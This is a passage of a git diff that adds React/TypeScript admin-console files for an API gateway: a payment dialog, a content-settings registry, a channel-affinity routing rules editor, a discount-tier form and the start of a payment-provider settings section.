+              {hasEpay && (
+                <div className='flex gap-2'>
+                  <Select
+                    value={selectedEpayMethod}
+                    onValueChange={setSelectedEpayMethod}
+                    disabled={limitReached}
+                  >
+                    <SelectTrigger className='flex-1'>
+                      <SelectValue placeholder={t('Select payment method')} />
+                    </SelectTrigger>
+                    <SelectContent>
+                      {(props.epayMethods || []).map((m) => (
+                        <SelectItem key={m.type} value={m.type}>
+                          {m.name || m.type}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <Button
+                    onClick={handlePayEpay}
+                    disabled={paying || !selectedEpayMethod || limitReached}
+                  >
+                    {t('Pay')}
+                  </Button>
+                </div>
+              )}
+            </div>
+          ) : (
+            <Alert>
+              <AlertDescription>
+                {t(
+                  'Online payment is not enabled. Please contact the administrator.'
+                )}
+              </AlertDescription>
+            </Alert>
+          )}
+        </div>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/content/section-registry.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/content/section-registry.tsx
new file mode 100644
index 0000000..7fac444
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/content/section-registry.tsx
@@ -0,0 +1,125 @@
+import type { ContentSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { AnnouncementsSection } from './announcements-section'
+import { ApiInfoSection } from './api-info-section'
+import { ChatSettingsSection } from './chat-settings-section'
+import { DashboardSection } from './dashboard-section'
+import { DrawingSettingsSection } from './drawing-settings-section'
+import { FAQSection } from './faq-section'
+import { UptimeKumaSection } from './uptime-kuma-section'
+
+/**
+ * Validate and coerce DataExportDefaultTime to a safe value
+ */
+function validateDataExportDefaultTime(value: string): 'week' | 'hour' | 'day' {
+  if (value === 'week' || value === 'hour' || value === 'day') {
+    return value
+  }
+  // Default to 'hour' if value is unexpected
+  return 'hour'
+}
+
+const CONTENT_SECTIONS = [
+  {
+    id: 'dashboard',
+    titleKey: 'Data Dashboard',
+    descriptionKey: 'Configure data export settings for dashboard',
+    build: (settings: ContentSettings) => (
+      <DashboardSection
+        defaultValues={{
+          DataExportEnabled: settings.DataExportEnabled,
+          DataExportInterval: settings.DataExportInterval,
+          DataExportDefaultTime: validateDataExportDefaultTime(
+            settings.DataExportDefaultTime
+          ),
+        }}
+      />
+    ),
+  },
+  {
+    id: 'announcements',
+    titleKey: 'Announcements',
+    descriptionKey: 'Configure system announcements',
+    build: (settings: ContentSettings) => (
+      <AnnouncementsSection
+        enabled={settings['console_setting.announcements_enabled']}
+        data={settings['console_setting.announcements']}
+      />
+    ),
+  },
+  {
+    id: 'api-info',
+    titleKey: 'API Addresses',
+    descriptionKey: 'Configure API information display',
+    build: (settings: ContentSettings) => (
+      <ApiInfoSection
+        enabled={settings['console_setting.api_info_enabled']}
+        data={settings['console_setting.api_info']}
+      />
+    ),
+  },
+  {
+    id: 'faq',
+    titleKey: 'FAQ',
+    descriptionKey: 'Configure frequently asked questions',
+    build: (settings: ContentSettings) => (
+      <FAQSection
+        enabled={settings['console_setting.faq_enabled']}
+        data={settings['console_setting.faq']}
+      />
+    ),
+  },
+  {
+    id: 'uptime-kuma',
+    titleKey: 'Uptime Kuma',
+    descriptionKey: 'Configure Uptime Kuma monitoring integration',
+    build: (settings: ContentSettings) => (
+      <UptimeKumaSection
+        enabled={settings['console_setting.uptime_kuma_enabled']}
+        data={settings['console_setting.uptime_kuma_groups']}
+      />
+    ),
+  },
+  {
+    id: 'chat',
+    titleKey: 'Chat Presets',
+    descriptionKey: 'Configure chat-related settings',
+    build: (settings: ContentSettings) => (
+      <ChatSettingsSection defaultValue={settings.Chats} />
+    ),
+  },
+  {
+    id: 'drawing',
+    titleKey: 'Drawing',
+    descriptionKey: 'Configure drawing and Midjourney settings',
+    build: (settings: ContentSettings) => (
+      <DrawingSettingsSection
+        defaultValues={{
+          DrawingEnabled: settings.DrawingEnabled,
+          MjNotifyEnabled: settings.MjNotifyEnabled,
+          MjAccountFilterEnabled: settings.MjAccountFilterEnabled,
+          MjForwardUrlEnabled: settings.MjForwardUrlEnabled,
+          MjModeClearEnabled: settings.MjModeClearEnabled,
+          MjActionCheckSuccessEnabled: settings.MjActionCheckSuccessEnabled,
+        }}
+      />
+    ),
+  },
+] as const
+
+export type ContentSectionId = (typeof CONTENT_SECTIONS)[number]['id']
+
+const contentRegistry = createSectionRegistry<
+  ContentSectionId,
+  ContentSettings
+>({
+  sections: CONTENT_SECTIONS,
+  defaultSection: 'dashboard',
+  basePath: '/system-settings/content',
+  urlStyle: 'path',
+})
+
+export const CONTENT_SECTION_IDS = contentRegistry.sectionIds
+export const CONTENT_DEFAULT_SECTION = contentRegistry.defaultSection
+export const getContentSectionNavItems = contentRegistry.getSectionNavItems
+export const getContentSectionContent = contentRegistry.getSectionContent
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx
new file mode 100644
index 0000000..07068fb
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/general/channel-affinity/index.tsx
@@ -0,0 +1,696 @@
+import { useCallback, useEffect, useState } from 'react'
+import { Edit, FileText, Plus, RefreshCw, Trash2, X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+} from '@/components/ui/dropdown-menu'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { ConfirmDialog } from '@/components/confirm-dialog'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../../components/settings-section'
+import { useUpdateOption } from '../../hooks/use-update-option'
+import { getCacheStats, clearAllCache, clearRuleCache } from './api'
+import { RULE_TEMPLATES, cloneTemplate, makeUniqueName } from './constants'
+import { RuleEditorDialog } from './rule-editor-dialog'
+import type { AffinityRule, CacheStats, ChannelAffinitySettings } from './types'
+
+function parseRules(jsonStr: string): AffinityRule[] {
+  try {
+    const arr = JSON.parse(jsonStr || '[]')
+    if (!Array.isArray(arr)) return []
+    return arr.map(
+      (r: Record<string, unknown>, i: number) =>
+        ({ id: i, ...r }) as AffinityRule
+    )
+  } catch {
+    return []
+  }
+}
+
+function serializeRules(rules: AffinityRule[]): string {
+  return JSON.stringify(rules.map(({ id: _, ...rest }) => rest))
+}
+
+interface Props {
+  defaultValues: ChannelAffinitySettings
+}
+
+export function ChannelAffinitySection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const [enabled, setEnabled] = useState(
+    props.defaultValues['channel_affinity_setting.enabled']
+  )
+  const [switchOnSuccess, setSwitchOnSuccess] = useState(
+    props.defaultValues['channel_affinity_setting.switch_on_success']
+  )
+  const [maxEntries, setMaxEntries] = useState(
+    props.defaultValues['channel_affinity_setting.max_entries']
+  )
+  const [defaultTtl, setDefaultTtl] = useState(
+    props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+  )
+  const [rules, setRules] = useState<AffinityRule[]>(() =>
+    parseRules(props.defaultValues['channel_affinity_setting.rules'])
+  )
+
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+  const [jsonText, setJsonText] = useState(() =>
+    JSON.stringify(
+      parseRules(props.defaultValues['channel_affinity_setting.rules']).map(
+        ({ id: _, ...r }) => r
+      ),
+      null,
+      2
+    )
+  )
+  const [cacheStats, setCacheStats] = useState<CacheStats | null>(null)
+  const [cacheLoading, setCacheLoading] = useState(false)
+  const [saving, setSaving] = useState(false)
+
+  const [ruleEditorOpen, setRuleEditorOpen] = useState(false)
+  const [editingRule, setEditingRule] = useState<AffinityRule | null>(null)
+  const [ruleTemplateKey, setRuleTemplateKey] = useState<string | null>(null)
+  const [clearAllDialogOpen, setClearAllDialogOpen] = useState(false)
+  const [clearRuleName, setClearRuleName] = useState<string | null>(null)
+  const [fillTemplateDialogOpen, setFillTemplateDialogOpen] = useState(false)
+
+  useEffect(() => {
+    setEnabled(props.defaultValues['channel_affinity_setting.enabled'])
+    setSwitchOnSuccess(
+      props.defaultValues['channel_affinity_setting.switch_on_success']
+    )
+    setMaxEntries(props.defaultValues['channel_affinity_setting.max_entries'])
+    setDefaultTtl(
+      props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+    )
+    const parsed = parseRules(
+      props.defaultValues['channel_affinity_setting.rules']
+    )
+    setRules(parsed)
+    setJsonText(
+      JSON.stringify(
+        parsed.map(({ id: _, ...r }) => r),
+        null,
+        2
+      )
+    )
+  }, [props.defaultValues])
+
+  const refreshCache = useCallback(async () => {
+    setCacheLoading(true)
+    try {
+      const res = await getCacheStats()
+      if (res.success) setCacheStats(res.data || null)
+    } catch {
+      toast.error(t('Failed to refresh cache stats'))
+    } finally {
+      setCacheLoading(false)
+    }
+  }, [t])
+
+  useEffect(() => {
+    refreshCache()
+  }, [refreshCache])
+
+  const appendCliTemplates = () => {
+    const existingNames = new Set(
+      rules.map((r) => (r.name || '').trim()).filter((x) => x.length > 0)
+    )
+
+    const templates = Object.values(RULE_TEMPLATES).map((tpl) => {
+      const base = cloneTemplate(tpl)
+      const name = makeUniqueName(existingNames, tpl.name)
+      existingNames.add(name)
+      return { ...base, name }
+    })
+
+    setRules((prev) =>
+      [...prev, ...templates].map((r, idx) => ({ ...r, id: idx }))
+    )
+    toast.success(t('Templates appended'))
+    setFillTemplateDialogOpen(false)
+  }
+
+  const handleFillTemplates = () => {
+    if (rules.length === 0) {
+      appendCliTemplates()
+    } else {
+      setFillTemplateDialogOpen(true)
+    }
+  }
+
+  const handleSave = async () => {
+    let rulesJson: string
+    if (editMode === 'json') {
+      try {
+        const parsed = JSON.parse(jsonText)
+        if (!Array.isArray(parsed)) {
+          toast.error(t('Rules JSON must be an array'))
+          return
+        }
+        rulesJson = JSON.stringify(parsed)
+      } catch {
+        toast.error(t('Invalid rules JSON format'))
+        return
+      }
+    } else {
+      rulesJson = serializeRules(rules)
+    }
+
+    setSaving(true)
+    try {
+      const updates: { key: string; value: string }[] = []
+
+      if (enabled !== props.defaultValues['channel_affinity_setting.enabled'])
+        updates.push({
+          key: 'channel_affinity_setting.enabled',
+          value: String(enabled),
+        })
+      if (
+        switchOnSuccess !==
+        props.defaultValues['channel_affinity_setting.switch_on_success']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.switch_on_success',
+          value: String(switchOnSuccess),
+        })
+      if (
+        maxEntries !==
+        props.defaultValues['channel_affinity_setting.max_entries']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.max_entries',
+          value: String(maxEntries),
+        })
+      if (
+        defaultTtl !==
+        props.defaultValues['channel_affinity_setting.default_ttl_seconds']
+      )
+        updates.push({
+          key: 'channel_affinity_setting.default_ttl_seconds',
+          value: String(defaultTtl),
+        })
+
+      const origRules = props.defaultValues['channel_affinity_setting.rules']
+      const origSerialized = (() => {
+        try {
+          return JSON.stringify(JSON.parse(origRules || '[]'))
+        } catch {
+          return '[]'
+        }
+      })()
+      if (rulesJson !== origSerialized) {
+        updates.push({
+          key: 'channel_affinity_setting.rules',
+          value: rulesJson,
+        })
+      }
+
+      if (updates.length === 0) {
+        toast.info(t('No changes'))
+        return
+      }
+
+      for (const u of updates) {
+        await updateOption.mutateAsync(u)
+      }
+      toast.success(t('Saved successfully'))
+    } catch {
+      toast.error(t('Failed to save'))
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  const handleRuleSave = (rule: AffinityRule) => {
+    setRules((prev) => {
+      const existIdx = prev.findIndex(
+        (r) => r.id === rule.id || (rule.name && r.name === editingRule?.name)
+      )
+      if (existIdx >= 0) {
+        const next = [...prev]
+        next[existIdx] = { ...rule, id: existIdx }
+        return next
+      }
+      return [...prev, { ...rule, id: prev.length }]
+    })
+    setEditingRule(null)
+  }
+
+  const handleDeleteRule = (idx: number) => {
+    setRules((prev) =>
+      prev.filter((_, i) => i !== idx).map((r, i) => ({ ...r, id: i }))
+    )
+    toast.success(t('Deleted successfully'))
+  }
+
+  const handleClearAll = async () => {
+    const res = await clearAllCache()
+    if (res.success) {
+      toast.success(t('Cleared'))
+      refreshCache()
+    }
+    setClearAllDialogOpen(false)
+  }
+
+  const handleClearRule = async () => {
+    if (!clearRuleName) return
+    const res = await clearRuleCache(clearRuleName)
+    if (res.success) {
+      toast.success(t('Cleared'))
+      refreshCache()
+    }
+    setClearRuleName(null)
+  }
+
+  const switchToJsonMode = () => {
+    setJsonText(
+      JSON.stringify(
+        rules.map(({ id: _, ...r }) => r),
+        null,
+        2
+      )
+    )
+    setEditMode('json')
+  }
+
+  const switchToVisualMode = () => {
+    try {
+      const parsed = JSON.parse(jsonText)
+      if (!Array.isArray(parsed)) {
+        toast.error(t('Rules JSON must be an array'))
+        return
+      }
+      setRules(
+        parsed.map(
+          (r: Record<string, unknown>, i: number) =>
+            ({ id: i, ...r }) as AffinityRule
+        )
+      )
+      setEditMode('visual')
+    } catch {
+      toast.error(t('Invalid rules JSON format'))
+    }
+  }
+
+  return (
+    <>
+      <SettingsSection
+        title={t('Channel Affinity')}
+        description={t(
+          'Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)'
+        )}
+      >
+        <Alert>
+          <AlertDescription className='text-xs'>
+            {t(
+              'Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.'
+            )}
+          </AlertDescription>
+        </Alert>
+
+        {/* Basic Settings */}
+        <div className='grid grid-cols-1 gap-4 md:grid-cols-3'>
+          <div className='flex items-center gap-2'>
+            <Switch checked={enabled} onCheckedChange={setEnabled} />
+            <Label>{t('Enable')}</Label>
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Max Entries')}</Label>
+            <Input
+              type='number'
+              min={0}
+              value={maxEntries}
+              onChange={(e) => setMaxEntries(Number(e.target.value))}
+            />
+          </div>
+          <div className='grid gap-1.5'>
+            <Label>{t('Default TTL (seconds)')}</Label>
+            <Input
+              type='number'
+              min={0}
+              value={defaultTtl}
+              onChange={(e) => setDefaultTtl(Number(e.target.value))}
+            />
+          </div>
+        </div>
+
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={switchOnSuccess}
+            onCheckedChange={setSwitchOnSuccess}
+          />
+          <Label>{t('Switch affinity on success')}</Label>
+          <span className='text-muted-foreground text-xs'>
+            {t(
+              'If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.'
+            )}
+          </span>
+        </div>
+
+        <Separator />
+
+        {/* Toolbar */}
+        <div className='flex flex-wrap items-center gap-2'>
+          <Button
+            variant={editMode === 'visual' ? 'default' : 'outline'}
+            size='sm'
+            onClick={editMode === 'json' ? switchToVisualMode : undefined}
+          >
+            {t('Visual')}
+          </Button>
+          <Button
+            variant={editMode === 'json' ? 'default' : 'outline'}
+            size='sm'
+            onClick={editMode === 'visual' ? switchToJsonMode : undefined}
+          >
+            JSON
+          </Button>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <Button variant='outline' size='sm'>
+                <Plus className='mr-1 h-3 w-3' />
+                {t('Add Rule')}
+              </Button>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey(null)
+                  setRuleEditorOpen(true)
+                }}
+              >
+                {t('Blank Rule')}
+              </DropdownMenuItem>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey('codexCli')
+                  setRuleEditorOpen(true)
+                }}
+              >
+                Codex CLI
+              </DropdownMenuItem>
+              <DropdownMenuItem
+                onClick={() => {
+                  setEditingRule(null)
+                  setRuleTemplateKey('claudeCli')
+                  setRuleEditorOpen(true)
+                }}
+              >
+                Claude CLI
+              </DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
+          <Button variant='outline' size='sm' onClick={handleFillTemplates}>
+            <FileText className='mr-1 h-3 w-3' />
+            {t('Fill Templates')}
+          </Button>
+          <Button size='sm' onClick={handleSave} disabled={saving}>
+            {saving ? t('Saving...') : t('Save')}
+          </Button>
+          <Button
+            variant='outline'
+            size='sm'
+            onClick={refreshCache}
+            disabled={cacheLoading}
+          >
+            <RefreshCw
+              className={`mr-1 h-3 w-3 ${cacheLoading ? 'animate-spin' : ''}`}
+            />
+            {t('Refresh Cache')}
+          </Button>
+          <Button
+            variant='destructive'
+            size='sm'
+            onClick={() => setClearAllDialogOpen(true)}
+          >
+            {t('Clear All Cache')}
+          </Button>
+          {cacheStats && (
+            <span className='text-muted-foreground text-xs'>
+              {t('Cache Entries')}: {cacheStats.total} /{' '}
+              {cacheStats.cache_capacity}
+            </span>
+          )}
+        </div>
+
+        {/* Rules Table or JSON Editor */}
+        {editMode === 'visual' ? (
+          <div className='overflow-x-auto rounded-md border'>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('Name')}</TableHead>
+                  <TableHead>{t('Model Regex')}</TableHead>
+                  <TableHead>{t('Key Sources')}</TableHead>
+                  <TableHead>{t('TTL')}</TableHead>
+                  <TableHead>{t('Retry')}</TableHead>
+                  <TableHead>{t('Scope')}</TableHead>
+                  <TableHead>{t('Cache')}</TableHead>
+                  <TableHead className='text-right'>{t('Actions')}</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {rules.length === 0 ? (
+                  <TableRow>
+                    <TableCell
+                      colSpan={8}
+                      className='text-muted-foreground py-8 text-center'
+                    >
+                      {t('No rules yet')}
+                    </TableCell>
+                  </TableRow>
+                ) : (
+                  rules.map((rule, idx) => (
+                    <TableRow key={idx}>
+                      <TableCell className='font-medium'>
+                        {rule.name || '-'}
+                      </TableCell>
+                      <TableCell>
+                        <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                          {(rule.model_regex || []).length > 0 && (
+                            <span
+                              className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                              aria-hidden='true'
+                            />
+                          )}
+                          {(rule.model_regex || [])
+                            .slice(0, 2)
+                            .map((r, i, arr) => (
+                              <span
+                                key={i}
+                                className='flex items-center gap-1.5'
+                              >
+                                {r}
+                                {i < arr.length - 1 && (
+                                  <span className='text-muted-foreground/30'>
+                                    ·
+                                  </span>
+                                )}
+                              </span>
+                            ))}
+                          {(rule.model_regex || []).length > 2 && (
+                            <span className='text-muted-foreground/50'>
+                              +{(rule.model_regex || []).length - 2}
+                            </span>
+                          )}
+                        </div>
+                      </TableCell>
+                      <TableCell>
+                        <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                          {(rule.key_sources || []).length > 0 && (
+                            <span
+                              className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                              aria-hidden='true'
+                            />
+                          )}
+                          {(rule.key_sources || [])
+                            .slice(0, 2)
+                            .map((src, i, arr) => (
+                              <span
+                                key={i}
+                                className='flex items-center gap-1.5'
+                              >
+                                {src.type}:
+                                {src.type === 'gjson' ? src.path : src.key}
+                                {i < arr.length - 1 && (
+                                  <span className='text-muted-foreground/30'>
+                                    ·
+                                  </span>
+                                )}
+                              </span>
+                            ))}
+                          {(rule.key_sources || []).length > 2 && (
+                            <span className='text-muted-foreground/50'>
+                              +{(rule.key_sources || []).length - 2}
+                            </span>
+                          )}
+                        </div>
+                      </TableCell>
+                      <TableCell>{rule.ttl_seconds || '-'}</TableCell>
+                      <TableCell>
+                        <StatusBadge
+                          label={
+                            rule.skip_retry_on_failure
+                              ? t('No Retry')
+                              : t('Retry')
+                          }
+                          variant={
+                            rule.skip_retry_on_failure ? 'danger' : 'neutral'
+                          }
+                          copyable={false}
+                        />
+                      </TableCell>
+                      <TableCell>
+                        {(() => {
+                          const scopeItems = [
+                            rule.include_using_group && t('Group'),
+                            rule.include_model_name && t('Model'),
+                            rule.include_rule_name && t('Rule'),
+                          ].filter(Boolean) as string[]
+                          if (scopeItems.length === 0) return '-'
+                          return (
+                            <div className='text-muted-foreground flex items-center gap-1.5 text-xs font-medium'>
+                              <span
+                                className='size-1.5 shrink-0 rounded-full bg-slate-400'
+                                aria-hidden='true'
+                              />
+                              {scopeItems.map((item, idx, arr) => (
+                                <span
+                                  key={idx}
+                                  className='flex items-center gap-1.5'
+                                >
+                                  {item}
+                                  {idx < arr.length - 1 && (
+                                    <span className='text-muted-foreground/30'>
+                                      ·
+                                    </span>
+                                  )}
+                                </span>
+                              ))}
+                            </div>
+                          )
+                        })()}
+                      </TableCell>
+                      <TableCell>
+                        {rule.include_rule_name && cacheStats?.by_rule_name
+                          ? cacheStats.by_rule_name[rule.name] || 0
+                          : 'N/A'}
+                      </TableCell>
+                      <TableCell className='text-right'>
+                        <div className='flex justify-end gap-1'>
+                          {rule.include_rule_name && (
+                            <Button
+                              variant='ghost'
+                              size='icon'
+                              className='h-7 w-7'
+                              onClick={() => setClearRuleName(rule.name)}
+                              title={t('Clear cache for this rule')}
+                            >
+                              <X className='h-3 w-3' />
+                            </Button>
+                          )}
+                          <Button
+                            variant='ghost'
+                            size='icon'
+                            className='h-7 w-7'
+                            onClick={() => {
+                              setEditingRule(rule)
+                              setRuleTemplateKey(null)
+                              setRuleEditorOpen(true)
+                            }}
+                          >
+                            <Edit className='h-3 w-3' />
+                          </Button>
+                          <Button
+                            variant='ghost'
+                            size='icon'
+                            className='h-7 w-7'
+                            onClick={() => handleDeleteRule(idx)}
+                          >
+                            <Trash2 className='h-3 w-3' />
+                          </Button>
+                        </div>
+                      </TableCell>
+                    </TableRow>
+                  ))
+                )}
+              </TableBody>
+            </Table>
+          </div>
+        ) : (
+          <div className='grid gap-1.5'>
+            <Label>{t('Rules JSON')}</Label>
+            <Textarea
+              className='min-h-[300px] font-mono text-xs'
+              value={jsonText}
+              onChange={(e) => setJsonText(e.target.value)}
+            />
+          </div>
+        )}
+      </SettingsSection>
+
+      <RuleEditorDialog
+        open={ruleEditorOpen}
+        onOpenChange={setRuleEditorOpen}
+        rule={editingRule}
+        onSave={handleRuleSave}
+        templateKey={ruleTemplateKey}
+      />
+
+      <ConfirmDialog
+        open={clearAllDialogOpen}
+        onOpenChange={setClearAllDialogOpen}
+        title={t('Confirm clearing all channel affinity cache')}
+        desc={t(
+          'This will delete all channel affinity cache entries still in memory.'
+        )}
+        handleConfirm={handleClearAll}
+        destructive
+      />
+
+      {clearRuleName !== null && (
+        <ConfirmDialog
+          open
+          onOpenChange={(v) => !v && setClearRuleName(null)}
+          title={t('Confirm clearing cache for this rule')}
+          desc={`${t('Rule')}: ${clearRuleName}`}
+          handleConfirm={handleClearRule}
+          destructive
+        />
+      )}
+
+      <ConfirmDialog
+        open={fillTemplateDialogOpen}
+        onOpenChange={setFillTemplateDialogOpen}
+        title={t('Fill Codex CLI / Claude CLI Templates')}
+        desc={t(
+          'This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.'
+        )}
+        handleConfirm={appendCliTemplates}
+      />
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx
new file mode 100644
index 0000000..344cae3
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/amount-discount-dialog.tsx
@@ -0,0 +1,198 @@
+import { useEffect, useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const createAmountDiscountDialogSchema = (t: (key: string) => string) =>
+  z.object({
+    amount: z
+      .number()
+      .positive(t('Amount must be greater than 0'))
+      .int(t('Amount must be a whole number')),
+    discountRate: z
+      .number()
+      .positive(t('Discount rate must be greater than 0'))
+      .max(1, t('Discount rate must be ≤ 1')),
+  })
+
+type AmountDiscountDialogFormValues = z.infer<
+  ReturnType<typeof createAmountDiscountDialogSchema>
+>
+
+export type AmountDiscountData = {
+  amount: number
+  discountRate: number
+}
+
+type AmountDiscountDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: AmountDiscountData) => void
+  editData?: AmountDiscountData | null
+}
+
+export function AmountDiscountDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: AmountDiscountDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+  const amountDiscountDialogSchema = createAmountDiscountDialogSchema(t)
+
+  const form = useForm<AmountDiscountDialogFormValues>({
+    resolver: zodResolver(amountDiscountDialogSchema),
+    defaultValues: {
+      amount: 0,
+      discountRate: 1,
+    },
+  })
+
+  const discountRate = form.watch('discountRate')
+
+  const discountPercentage = useMemo(() => {
+    if (!discountRate || discountRate >= 1) return 0
+    return Math.round((1 - discountRate) * 100)
+  }, [discountRate])
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        amount: 0,
+        discountRate: 1,
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: AmountDiscountDialogFormValues) => {
+    onSave({
+      amount: values.amount,
+      discountRate: values.discountRate,
+    })
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit discount tier') : t('Add discount tier')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Set a discount rate for a specific recharge amount threshold.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='amount'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Recharge Amount (USD)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      step='1'
+                      min='1'
+                      placeholder={t('e.g., 100')}
+                      {...field}
+                      onChange={(e) =>
+                        field.onChange(parseInt(e.target.value) || 0)
+                      }
+                      disabled={isEditMode}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {isEditMode
+                      ? t('Amount cannot be changed when editing.')
+                      : t(
+                          'Minimum recharge amount to qualify for this discount.'
+                        )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='discountRate'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Discount Rate')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      step='0.01'
+                      min='0.01'
+                      max='1'
+                      placeholder={t('e.g., 0.95')}
+                      {...field}
+                      onChange={(e) =>
+                        field.onChange(parseFloat(e.target.value) || 0)
+                      }
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Final price multiplier (0.95 = 5% discount')}
+                    {discountPercentage > 0 && (
+                      <span className='ml-1 font-medium text-green-600 dark:text-green-400'>
+                        = {discountPercentage}
+                        {t('% off')}
+                      </span>
+                    )}
+                    )
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx b/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx
new file mode 100644
index 0000000..ce80b53
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx
@@ -0,0 +1,290 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { removeTrailingSlash } from './utils'
+
+export interface WaffoPancakeSettingsValues {
+  WaffoPancakeEnabled: boolean
+  WaffoPancakeSandbox: boolean
+  WaffoPancakeMerchantID: string
+  WaffoPancakePrivateKey: string
+  WaffoPancakeWebhookPublicKey: string
+  WaffoPancakeWebhookTestKey: string
+  WaffoPancakeStoreID: string
+  WaffoPancakeProductID: string
+  WaffoPancakeReturnURL: string
+  WaffoPancakeCurrency: string
+  WaffoPancakeUnitPrice: number
+  WaffoPancakeMinTopUp: number
+}
+
+interface Props {
+  defaultValues: WaffoPancakeSettingsValues
+}
+
+export function WaffoPancakeSettingsSection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
